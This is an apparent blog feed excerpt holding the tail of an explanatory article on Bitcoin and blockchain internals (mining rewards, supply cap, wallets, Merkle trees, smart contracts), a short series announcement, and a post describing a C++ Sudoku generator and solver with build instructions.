&lt;/p&gt;

&lt;a name=&quot;sec45&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.5 Miner retribution (and bitcoin creation)&lt;/h3&gt;

&lt;p&gt;
Mining is also the mechanism used to introduce Bitcoins into the system: Miners are paid any transaction fees as well as a &quot;subsidy&quot; of newly created coins. This both serves the purpose of disseminating new coins in a decentralized manner as well as motivating people to provide security for the system. 
&lt;br&gt;
It gives miners incentive to put their computation power at the disposal of the blockchain network. 
&lt;/p&gt;
&lt;p&gt;
Because there is a reward of brand new bitcoins for solving each block, every block also contains a record of which Bitcoin addresses or scripts are entitled to receive the reward. This record is known as a &lt;b&gt;generation transaction&lt;/b&gt; (or a coinbase transaction) and is always the first transaction appearing in every block. 
&lt;/p&gt;
&lt;p&gt;
The number of Bitcoins generated per block starts at 50 and is halved every 210,000 blocks (about four years).
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/e2e46fa4-efcf-4372-bdd7-fcc0d16baf02&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 950px;&quot; alt=&quot;Miner retribution&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/e2e46fa4-efcf-4372-bdd7-fcc0d16baf02&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
In addition to the generation transaction, Miners get incentive to include transactions in their blocks because of attached transaction fees. A fee (pretty little) is perceived form every transaction in the newly mined block.
&lt;/p&gt;

&lt;a name=&quot;sec46&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.6 Bitcoin limited supply&lt;/h3&gt;

&lt;p&gt;
In the specific case of the bitcoin, Satoshi had very soon the idea of limiting the bitcoin supply. There is an important reason of course behind this.
&lt;/p&gt;
&lt;p&gt;
In a centralized economy, currency is issued by a central bank at a rate that is supposed to match the growth of the amount of goods that are exchanged so that these goods can be traded with stable prices. The monetary base is controlled by a central bank. In the United States, the Fed increases the monetary base by issuing currency, increasing the amount banks have on reserve, and more recently, printing money electronically in a process called Quantitative Easing.
&lt;/p&gt;
&lt;p&gt;
In a fully decentralized monetary system, there is no central authority that regulates the monetary base. Instead, currency is created by the nodes of a peer-to-peer network. The Bitcoin generation algorithm defines, in advance, how currency will be created and at what rate. Any currency that is generated by a malicious user that does not follow the rules will be rejected by the network and thus is worthless.
&lt;/p&gt;
&lt;p&gt;
Bitcoins are created each time a user discovers a new block. The rate of block creation is adjusted every 2016 blocks to aim for a constant two week adjustment period (equivalent to 6 per hour.) The number of bitcoins generated per block is set to decrease geometrically, with a 50% reduction every 210,000 blocks, or approximately four years. 
&lt;br&gt;
The result is that the number of bitcoins in existence is not expected to exceed 21 million.
&lt;/p&gt;
&lt;p&gt;
Speculated justifications for the unintuitive value &quot;21 million&quot; are that it matches a 4-year reward halving schedule; or the ultimate total number of Satoshis that will be mined is close to the maximum capacity of a 64-bit floating point number. Satoshi has never really justified or explained many of these constants.
&lt;/p&gt;
&lt;p&gt;
The formula is the following :
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/ca710906-d95e-47d3-966f-8fa86d998a6b&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 150px; &quot; alt=&quot;Bitcoin supply formula&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/ca710906-d95e-47d3-966f-8fa86d998a6b&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
This decreasing-supply algorithm was chosen because it approximates the rate at which commodities like gold are mined. Users who use their computers to perform calculations to try and discover a block are thus called Miners.
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/dba83311-6ad1-42f8-8cb5-d65b28d4b967&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 800px;&quot; alt=&quot;Bitcoing limited supply&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/dba83311-6ad1-42f8-8cb5-d65b28d4b967&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;a name=&quot;sec47&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.7 Wallet cryptography&lt;/h3&gt;

&lt;p&gt;
A &lt;b&gt;wallet&lt;/b&gt; is basically the Bitcoin equivalent of a bank account. It allows you to receive bitcoins, store them, and then send them to others. 
&lt;/p&gt;
&lt;p&gt;
The name &quot;Bitcoin wallet&quot; is a bit of a misnomer. Bitcoin wallets don&apos;t hold actual Bitcoins, those are essentially stored on the blockchain. 
&lt;br&gt;
Instead, Bitcoin wallets hold the private keys that give users the right to use those coins. Each Bitcoin wallet comes with at least two keys (multisig wallets can have more) one public, and one private. 
&lt;/p&gt;
&lt;p&gt;
The public key lets any Bitcoin user send a sum of Bitcoins directly to any other Bitcoin user, without a middle man. The private key must be kept as secure as possible, since anyone who gets a hold of it has access to every Bitcoin associated with it.
&lt;/p&gt;
&lt;p&gt;
There are several types of wallets out there: Software wallets, web wallets, and paper/cold wallets. 
&lt;/p&gt;
&lt;p&gt;
There is a relationship between Wallet and Bitcoin adresses.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Bitcoin address&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
A Bitcoin address, or simply address, is an identifier of 26-35 alphanumeric characters, beginning with the number 1 or 3, that represents a possible destination for a bitcoin payment. Addresses can be generated at no cost by any user of Bitcoin. 
&lt;/p&gt;
&lt;p&gt;
There are currently two address formats in common use:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Common P2PKH which begin with the number 1, eg: &lt;code&gt;1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2.&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Newer P2SH type starting with the number 3, eg: &lt;code&gt;3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy.&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
A Bitcoin address is a single-use token. Like e-mail addresses, you can send bitcoins to a person by sending bitcoins to one of their addresses. However, unlike e-mail addresses, people have many different Bitcoin addresses and a unique address should be used for each transaction.
&lt;/p&gt;
&lt;p&gt;
A Bitcoin address is a 160-bit hash of the public portion of a public/private ECDSA keypair. Using public-key cryptography, one can &quot;sign&quot; data with your private key and anyone who knows your public key can verify that the signature is valid.
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/1b3fe9c4-4246-41b6-8275-da301e3408c7&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 700px;&quot; alt=&quot;Wallet cryptography&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/1b3fe9c4-4246-41b6-8275-da301e3408c7&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
The private key aims at enabling solely and only the owner of an address to create a transaction where the sender of bitcoin is that owner. Keeping this private key secrete is of utmost importance. If someone steals that private key from a wallet owner, he can drag all its money out by creating transaction from that wallet to his own wallet in a perfectly legitimate way. 
&lt;br&gt;
It&apos;s impossible for an attacker to forge a fraudulent transaction from someone else&apos;s wallet without having that very private key. 
&lt;br&gt;
On the other hand, every miner, every network member can safely and fast ensure the validity of the transactions in a block by using the public key of the corresponding wallet owners.
&lt;/p&gt;

&lt;a name=&quot;sec48&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.8 Merkle Trees&lt;/h3&gt;

&lt;p&gt;
A tree constructed by hashing paired data (the leaves), then pairing and hashing the results until a single hash remains, the merkle root.
&lt;br&gt;
The construction of the Merke tree is such that if any single &lt;i&gt;leaf&lt;/i&gt; transaction is changed, all hashes along the branch would be changed and ultimately the merkle root as well.
&lt;br&gt;
This is a key property ensuring security of the blockchain.
&lt;/p&gt;
&lt;p&gt;
Merkle trees in bitcoin use a double SHA-256, the SHA-256 hash of the SHA-256 hash of something.
&lt;/p&gt;
&lt;p&gt;
If, when forming a row in the tree (other than the root of the tree), it would have an odd number of elements, the final double-hash is duplicated to ensure that the row has an even number of hashes.
&lt;/p&gt;
&lt;p&gt;
First form the bottom row of the tree with the ordered double-SHA-256 hashes of the byte streams of the transactions in the block.
&lt;br&gt;
Then the row above it consists of half that number of hashes. Each entry is the double-SHA-256 of the 64-byte concatenation of the corresponding two hashes below it in the tree.
&lt;/p&gt;
&lt;p&gt;
This procedure repeats recursively until we reach a row consisting of just a single double-hash. This is the Merkle root of the tree.
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/98eb7dec-31ae-4f47-af8b-cd1c16d707db&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 750px;&quot; alt=&quot;Blockchain Merkle Root&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/98eb7dec-31ae-4f47-af8b-cd1c16d707db&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
In the blockchain, Merke trees enables to verify a transaction in a much faster way than if a validating a transaction meant recomputing the hash from the whole block data.
&lt;br&gt;
In addition, as new transactions are broadcasted to the network, updating the merkle root takes only log(n) hash operations on small data instead of re-hashing everything.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Why is the usage of Merkle Tree of so important ? &lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Think of one thing : the system makes it so that a new block is created every 10 minutes or so. During these 10 minutes, new transactions are taken into consideration immediately by miners. At each and every round, not only the nounce is incremented but the very latest transactions received are added to the block currently being mined. 
&lt;br&gt;
Without Merkle trees, that would require miners to recompute completely the hash of the entire block, which can be quite a significant amount of work. 
&lt;br&gt;
Again, with Merkle trees, the number of operations to be computed is log (n) where n is the amount of transactions in the block, i.e. only a few operations to recompute all the hashes along the branches of the new transactions.
&lt;/p&gt;
&lt;p&gt;
This is pretty important in addition because of the increasing adoption of bitcoin. Since block creation rates is somewhat fixed, the average amount of transactions per block increases making it even more important to avoid recomputing the hash of the full block as transactions are added to it.
&lt;/p&gt;

&lt;a name=&quot;sec49&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.9 Peer to peer network&lt;/h3&gt;

&lt;p&gt;
A blockchain is a ledger of facts, replicated across several computers assembled in a peer-to-peer network that operates on a cryptographic protocol. In the case of the bitcoin, users send  units of currency, by &lt;b&gt;broadcasting&lt;/b&gt; digitally signed messages to the network using bitcoin wallet software.
&lt;br&gt;
In the case of more advanced and recent blockchain technologies - called blockchain 2.0 - (such as Ethereum), users broadcasts Smart Contracts, events or API calls on these Smart Contracts.
&lt;/p&gt;
&lt;p&gt;
Members of the network are anonymous individuals called &lt;b&gt;nodes&lt;/b&gt;, or &quot;miners&quot; since initially most-if-not-all of them where running the mining algorithm presented above.
&lt;/p&gt;
&lt;p&gt;
Both new transactions and newly mined blocked are broadcasted to the peer-to-peer network.
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/b5bfc912-6c8d-4cdd-9bf8-4f3feef37e12&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 400px;&quot; alt=&quot;Blockchain flood Algorithm&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/b5bfc912-6c8d-4cdd-9bf8-4f3feef37e12&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;a name=&quot;sec410&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.10 Orphaned, Extinct and Staled Blocks &lt;/h3&gt;

&lt;p&gt;
Because each block contains a reference to the prior block, the collection of all blocks in existence can be said to form a chain. However, it&apos;s possible for the chain to have temporary splits - for example, if two miners arrive at two different valid solutions for the same block at the same time, unbeknownst to one another. 
&lt;br&gt;
The peer-to-peer network is designed to resolve these splits within a short period of time, so that only one branch of the chain survives.
&lt;/p&gt;
&lt;p&gt;
The client accepts the &lt;b&gt;longest&lt;/b&gt; chain of blocks as valid. The &quot;length&quot; of the entire block chain refers to the chain with the most combined difficulty, not the one with the most blocks. This prevents someone from forking the chain and creating a large number of low-difficulty blocks, and having it accepted by the network as &quot;longest&quot;.
&lt;/p&gt;


&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/668eb745-082e-4288-ba6b-eba45f33d415&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 780px;&quot; alt=&quot;Block principles&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/668eb745-082e-4288-ba6b-eba45f33d415&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;a name=&quot;sec5&quot;&gt;&lt;/a&gt;
&lt;h2&gt;5. Blockchain 2.0 &lt;/h2&gt;

&lt;p&gt;
The Blockchain 2.0 is an evolution of the blockchain protocol enabling not only to exchange transaction but rather code and programs in the form of &lt;b&gt;Smart Contracts&lt;/b&gt;
&lt;br&gt;
Now developers are allowed to build programs and API&apos;s on the Blockchain Protocol.
&lt;/p&gt;
&lt;p&gt;
This relatively new concept involves the development of programs that can be entrusted with money. 
&lt;br&gt;
Smart contracts are programs that encode certain conditions and outcomes. 
&lt;br&gt;
For instance, When a transaction between 2 parties occurs, the program can verify if the product/service has been sent by the supplier. Only after verification is the sum transmitted to the suppliers account. 
&lt;/p&gt;
&lt;p&gt;
By developing ready to use programs that function on predetermined conditions between the supplier and the client, smart programs ensure a secure escrow service in real time at near zero marginal cost
&lt;/p&gt;
&lt;p&gt;
Apart from Financial transactions, smart contracts are now entering a whole lot of different industry. 
&lt;br&gt;
For instance in the Legal System, companies like Empowered Law use the public distributed ledger of transactions that makes up the Block Chain to provide Multi-Signature account services for asset protection, estate planning, dispute resolution, leasing and corporate governance. 
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Ethereum&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Ethereum intends to bring together both a crypto ledger and a &lt;b&gt;Turing-complete programming language&lt;/b&gt;, which is a language can be used to write actual computer programs. They intend to make a browser that is a Swiss-army knife of Block Chain and encryption tools that allow non-technical users to truly leverage the web.
&lt;/p&gt;
&lt;p&gt;
Ethereum aims to implement a &lt;b&gt;globally decentralized, un-ownable, digital computer&lt;/b&gt; for executing peer-to-peer contracts. 
&lt;br&gt;
Put more simply, Ethereum is a world computer you can&apos;t shut down.
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/b6da3764-76e8-4507-a930-86c814ba5347&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 740px;&quot; alt=&quot;Blockchain Smart Contracts&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/b6da3764-76e8-4507-a930-86c814ba5347&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
&lt;b&gt;The Blockchain 2.0 and its opportunities will be the topic of a dedicated article expected in the coming weeks on this very blog&lt;/b&gt;
&lt;/p&gt;

&lt;a name=&quot;sec6&quot;&gt;&lt;/a&gt;
&lt;h2&gt;6. Sum-Up &lt;/h2&gt;

&lt;p&gt;
Summing it up, these are the key aspects of the Blockchain technology:
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/f20a190c-8ebf-43ab-b690-e581f95b76f2&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 650px;&quot; alt=&quot;Blockchain Sum-Up&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/f20a190c-8ebf-43ab-b690-e581f95b76f2&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
The Blockchain is an amazing technology. I strongly believe it has the potential to revolution a whole lot of different industries. &lt;b&gt;That as well will be the topic of a third article on the Blockchain on this blog that should appear in the coming days / weeks.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
One might want to see part of this article as a slideshare presentation available here : &lt;a href=&quot;http://www.slideshare.net/JrmeKehrli/the-blockchain-the-technology-behind-bitcoin&quot;&gt;http://www.slideshare.net/JrmeKehrli/the-blockchain-the-technology-behind-bitcoin&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
Also, have a look at the next article in this serie on this blog : &lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/entry/blockchain-2-0-from-bitcoin&quot;&gt;Blockchain 2.0 - From bitcoin transaction to Smart Contract applications&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
Finally, this article is available in PDF format here: &lt;a href=&quot;https://www.niceideas.ch/blockchain_explained.pdf&quot;&gt;https://www.niceideas.ch/blockchain_explained.pdf&lt;/a&gt;.
&lt;/p&gt;</description>          </item>
    <item>
    <guid isPermaLink="true">https://www.niceideas.ch/roller2/badtrash/entry/the-blockchain</guid>
    <title>The Blockchain ...</title>
    <dc:creator>Jerome Kehrli</dc:creator>
    <link>https://www.niceideas.ch/roller2/badtrash/entry/the-blockchain</link>
        <pubDate>Wed, 5 Oct 2016 11:17:35 -0400</pubDate>
    <category>Computer Science</category>
    <category>blockchain</category>
            <description>&lt;p&gt;
The blockchain and blockchain related topics are becoming increasingly discussed and studied. There is not one single day where I don&apos;t hear about it, that being on linkedin or elsewhere.
&lt;/p&gt;
&lt;p&gt;
I kept myself busy on other topics these last years, mostly large scale information systems and analytic systems architecture in the finance business so I really missed the Bitcoin and blockchain hype. 
&lt;br&gt;
I&apos;ve been to an OCTO Technology event recently on the Blockchain. To be honest I went there more for the pleasure of seeing my former colleagues than for any specific interest on the topic. Yet I listen carefully to OCTO&apos;s presentation ... and I didn&apos;t imagine I would be so much intrigued and soon passionated by the subject.
&lt;/p&gt;
&lt;p&gt;
I strongly believe the blockchain technology has the potential to be one of the most disruptive progress in computer sciences of these 10 last years. I studied and keep studying all the technical details, evolutions and business implications of this technology and will post various blog articles in the coming days / weeks about this topic:
&lt;/p&gt;
&lt;p&gt;
&lt;ul&gt;
&lt;li&gt;First article is : &lt;b&gt;&lt;a href=&quot;http://www.niceideas.ch/roller2/badtrash/entry/blockchain-explained-beta&quot;&gt;Blockchain explained&lt;/a&gt;&lt;/b&gt;. I am giving a clear explanation of all the technical nuts and bolts behind the blockchain technologies.&lt;/li&gt;
&lt;li&gt;Second is : &lt;b&gt;&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/entry/blockchain-2-0-from-bitcoin&quot;&gt;Blockchain 2.0 - from bitcoin transactions to blockchain applications&lt;/a&gt;&lt;/b&gt; &lt;/li&gt;
&lt;li&gt;Third one will be : &lt;b&gt;Blockchain - various business opportunities&lt;/b&gt; where I will discuss how the blockchain can (and will) disrupt several fields.&lt;/li&gt;
&lt;/ul&gt;</description>          </item>
    <item>
    <guid isPermaLink="true">https://www.niceideas.ch/roller2/badtrash/entry/sudoku-laboratoy</guid>
    <title>Sudoku Laboratoy</title>
    <dc:creator>Jerome Kehrli</dc:creator>
    <link>https://www.niceideas.ch/roller2/badtrash/entry/sudoku-laboratoy</link>
        <pubDate>Tue, 30 Aug 2016 03:02:26 -0400</pubDate>
    <category>Computer Science</category>
    <category>algorithms</category>
    <category>backtracking</category>
    <category>c++</category>
    <category>laboratory</category>
    <category>programming</category>
    <category>sudoku</category>
    <atom:summary type="html">&lt;p&gt;
I have written a little Sudoku program for which I provide here the source code and Windows pre-built executables. Current version is Sudoku 0.2-beta.
&lt;/p&gt;
&lt;p&gt;
It supports the following features:
&lt;/p&gt;

&lt;ul&gt;
    &lt;li&gt;A GUI to display and manipulate a Sudoku board&lt;/li&gt;
    &lt;li&gt;A Sudoku generator&lt;/li&gt;
    &lt;li&gt;A Sudoku solver&lt;/li&gt;
    &lt;li&gt;A Sudoku solving tutorial (quite limited at the moment)&lt;/li&gt;
&lt;/ul&gt;


&lt;div class=&quot;centering&quot;&gt;
&lt;div class=&quot;centered&quot;&gt;
&lt;table style=&quot;spacing: 0px; border: 0px none; padding: 5px;&quot;&gt;
&lt;tr&gt;
&lt;td&gt;&lt;img style=&quot;width: 350px;&quot; alt=&quot;Sudoku Laboratory - Screenshot 1&quot; src=&quot;https://niceideas.ch/roller2/badtrash/mediaresource/6483fb59-d48d-49ce-b54a-d14724559053&quot; /&gt;&lt;/td&gt;
&lt;td&gt;&lt;img style=&quot;width: 350px;&quot; alt=&quot;Sudoku Laboratory - Screenshot 2&quot; src=&quot;https://niceideas.ch/roller2/badtrash/mediaresource/4b92df8e-9866-4096-b489-9ef9578d0ee7&quot; /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
At the moment there are two resolution methods supported, one using &lt;i&gt;human-like&lt;/i&gt;
resolution techniques and a second using backtracking. The resolution of a solvable 
Sudoku board takes a few milliseconds only. &lt;br&gt;
A &lt;b&gt;solvable Sudoku board&lt;/b&gt; is a Sudoku board than has &lt;b&gt;one and only one&lt;/b&gt; solution.
&lt;/p&gt;
&lt;p&gt;
The Sudoku board generator generates solvable Sudoku boards. It usually generates boards 
between 18 and 22 pre-filled cells. (which is quite better than most generators I could 
find online).&lt;br&gt;
Currently it generates the best (i.e. most difficult) board it possibly can provided the 
random initial situation (with all cells filled) of the board. &lt;br&gt;
&lt;span style=&quot;color: red;&quot;&gt;The problem I&apos;m facing in this current version is that it can take 
from a few seconds only &lt;b&gt;up to several minutes&lt;/b&gt; to generate the board&lt;/span&gt; (this is discussed in 
the algorithms section below). &lt;br&gt;
In addition, the difficulty of the resulting board is not tweakable at the moment.
In some cases it generates an extremely difficult board (only solvable with nishio) in a few
seconds while some other times it needs two minutes to generate an easy board.
&lt;/p&gt;
&lt;p&gt;
The software is written in C++ on Linux with the help of the 
&lt;a href=&quot;http://www.wxwidgets.org/&quot;&gt;wxWidgets&lt;/a&gt; GUI library. &lt;br&gt;
It is cross-platform to the extent of the wxWidgets library, i.e. it can be 
compiled on Windows, OS X, BSD, etc.
&lt;/p&gt;
&lt;p&gt;
A makefile is provided to build it, no configure scripts, i.e. you
need to adapt the makefile to your own Linux distribution (or on Windows Mingw, TDM, etc.).&lt;br&gt;
Happily only few adaptations should be required.
&lt;/p&gt;</atom:summary>        <description>&lt;!-- Sudoku Laboratoy --&gt;

&lt;p&gt;
I have written a little Sudoku program for which I provide here the source code and Windows pre-built executables. Current version is Sudoku 0.2-beta.
&lt;/p&gt;
&lt;p&gt;
It supports the following features:
&lt;/p&gt;

&lt;ul&gt;
    &lt;li&gt;A GUI to display and manipulate a Sudoku board&lt;/li&gt;
    &lt;li&gt;A Sudoku generator&lt;/li&gt;
    &lt;li&gt;A Sudoku solver&lt;/li&gt;
    &lt;li&gt;A Sudoku solving tutorial (quite limited at the moment)&lt;/li&gt;
&lt;/ul&gt;


&lt;div class=&quot;centering&quot;&gt;
&lt;div class=&quot;centered&quot;&gt;
&lt;table style=&quot;spacing: 0px; border: 0px none; padding: 5px;&quot;&gt;
&lt;tr&gt;
&lt;td&gt;&lt;img style=&quot;width: 350px;&quot; alt=&quot;Sudoku Laboratory - Screenshot 1&quot; src=&quot;https://niceideas.ch/roller2/badtrash/mediaresource/6483fb59-d48d-49ce-b54a-d14724559053&quot; /&gt;&lt;/td&gt;
&lt;td&gt;&lt;img style=&quot;width: 350px;&quot; alt=&quot;Sudoku Laboratory - Screenshot 2&quot; src=&quot;https://niceideas.ch/roller2/badtrash/mediaresource/4b92df8e-9866-4096-b489-9ef9578d0ee7&quot; /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
At the moment there are two resolution methods supported, one using &lt;i&gt;human-like&lt;/i&gt;
resolution techniques and a second using backtracking. The resolution of a solvable 
Sudoku board takes a few milliseconds only. &lt;br&gt;
A &lt;b&gt;solvable Sudoku board&lt;/b&gt; is a Sudoku board than has &lt;b&gt;one and only one&lt;/b&gt; solution.
&lt;/p&gt;
&lt;p&gt;
The Sudoku board generator generates solvable Sudoku boards. It usually generates boards 
between 18 and 22 pre-filled cells. (which is quite better than most generators I could 
find online).&lt;br&gt;
Currently it generates the best (i.e. most difficult) board it possibly can provided the 
random initial situation (with all cells filled) of the board. &lt;br&gt;
&lt;span style=&quot;color: red;&quot;&gt;The problem I&apos;m facing in this current version is that it can take 
from a few seconds only &lt;b&gt;up to several minutes&lt;/b&gt; to generate the board&lt;/span&gt; (this is discussed in 
the algorithms section below). &lt;br&gt;
In addition, the difficulty of the resulting board is not tweakable at the moment.
In some cases it generates an extremely difficult board (only solvable with nishio) in a few
seconds while some other times it needs two minutes to generate an easy board.
&lt;/p&gt;
&lt;p&gt;
The software is written in C++ on Linux with the help of the 
&lt;a href=&quot;http://www.wxwidgets.org/&quot;&gt;wxWidgets&lt;/a&gt; GUI library. &lt;br&gt;
It is cross-platform to the extent of the wxWidgets library, i.e. it can be 
compiled on Windows, OS X, BSD, etc.
&lt;/p&gt;
&lt;p&gt;
A makefile is provided to build it, no configure scripts, i.e. you
need to adapt the makefile to your own Linux distribution (or on Windows Mingw, TDM, etc.).&lt;br&gt;
Happily only few adaptations should be required.
&lt;/p&gt;
&lt;p&gt;
I provide &lt;b&gt;pre-built Windows binaries 
here
&lt;a href=&quot;http://www.niceideas.ch/Sudoku_0.4_Windows_binary.zip&quot;&gt;Sudoku_0.4_Windows_binary.zip&lt;/a&gt;&lt;/b&gt;. 
&lt;/p&gt;
&lt;p&gt;
For all other platforms, &lt;b&gt;the source code is available
here 
&lt;a href=&quot;https://www.niceideas.ch/sudoku-src-v0.4.tar.gz&quot;&gt;sudoku-src-v0.4.tar.gz&lt;/a&gt;&lt;/b&gt;.
&lt;/p&gt;

&lt;h2&gt;1. User Manual&lt;/h2&gt;

&lt;p&gt;
The software presents a sudoku grid centered in its window.&lt;br&gt;
The buttons on the bottom of the GUI have the following functions:
&lt;/p&gt;

&lt;ul&gt;
    &lt;li&gt;&lt;b&gt;Generate&lt;/b&gt; : generate a new random Sudoku board.&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Launch ...&lt;/b&gt; : launch the Sudoku solving tutorial.&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Solve&lt;/b&gt; : solve the Sudoku board using human-like heuristics.&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Solve BT&lt;/b&gt; : solve the Sudoku board using backtracking.&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Load Grid&lt;/b&gt; : load a previously saved grid.&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Save Grid&lt;/b&gt; : save the current grid.&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Reset&lt;/b&gt; : reset grid as initially created / generated.&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Clean&lt;/b&gt; : clean the grid completely (empty grid).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
The user can click on a cell to give its value or set the possibilities for the cell:
&lt;/p&gt;

&lt;ul&gt;
    &lt;li&gt;A number given alone will set the value for the cell.&lt;/li&gt;
    &lt;li&gt;Several numbers separated by a space will set the possibilities for the cell.
    &lt;/li&gt; 
&lt;/ul&gt;

&lt;p&gt;
When launching the Sudoku solving tutorial, the Sudoku is solved cell after cell 
following the human-like solving algorithm presented below. &lt;br&gt;
The values in the cell are displayed in different colors depending on the way 
the value has been computed:
&lt;/p&gt;

&lt;ul&gt;
    &lt;li&gt;Dark blue : the value was the single possibility for the cell.&lt;/li&gt;
    &lt;li&gt;Cyan : the value needed to be guessed (Nishio approach) during the resolution process.&lt;/li&gt;
    &lt;li&gt;Green : the value of the cell was obtained with advanced possibilities reduction approaches.&lt;/li&gt;
    &lt;li&gt;Red : the value needed to be guessed by trying one of the possibilities and solving the board further.&lt;br&gt;
        This happens solely when the board is not solvable as it has been given and several solutions exist for it.&lt;br&gt;
        The color of a &lt;i&gt;guessed&lt;/i&gt; cell is initially red and it turns cyan once the solution is confirmed.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;2. Building the software from sources&lt;/h2&gt;

&lt;h3&gt;2.1 On Linux&lt;/h3&gt;

&lt;p&gt;
First install wxWidgets 3.0.x and wxWidgets 3.0.x development files using your system package manager
&lt;/p&gt;
&lt;p&gt;
Then you need to adapt the Sudoku makefile system to your setup.
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; Adapt file &lt;code&gt;sudoku/[Debug/Release]/objects.mk&lt;/code&gt; : give correct libraries names matching your wxWidgets build&lt;/li&gt;
&lt;li&gt; Adapt file &lt;code&gt;sudoku/[Debug/Release]/makefile&lt;/code&gt; : give correct path of your wxWidgets libraries&lt;/li&gt;
&lt;li&gt; Adapt file &lt;code&gt;sudoku/[Debug/Release]/subdir.mk&lt;/code&gt; : give correct path of your wxWidgets headers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
(Note : [Debug/Release] means either &quot;Release&quot; or &quot;Debug&quot;)
&lt;/p&gt;
&lt;p&gt;
You can then make the software using 
&lt;/p&gt;

&lt;pre&gt;
$ cd sudoku/[Debug/Release]
$ make clean &amp;&amp; make
&lt;/pre&gt;


&lt;h3&gt;2.1 On Windows&lt;/h3&gt;

&lt;p&gt;
Building on windows is slightly more complicated since one needs both mingw and wxWidgets.
&lt;/p&gt;
&lt;p&gt;
A dedicated how-to is available in file &lt;code&gt;sudoku/Win32/HOWTO.txt&lt;/code&gt;
